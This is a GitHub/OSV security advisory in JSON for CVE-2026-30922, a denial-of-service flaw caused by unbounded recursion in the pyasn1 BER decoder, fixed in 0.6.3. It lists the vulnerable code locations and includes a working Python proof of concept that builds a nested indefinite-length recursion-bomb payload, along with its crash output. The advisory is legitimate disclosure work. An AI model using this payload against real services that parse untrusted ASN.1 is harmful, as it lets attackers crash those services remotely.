{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyasn1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T16:17:33Z",
    "nvd_published_at": "2026-03-18T04:17:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
  "id": "GHSA-jr27-m4p2-rc6r",
  "modified": "2026-03-25T18:25:07Z",
  "published": "2026-03-17T16:17:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyasn1/pyasn1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in pyasn1 via Unbounded Recursion"
}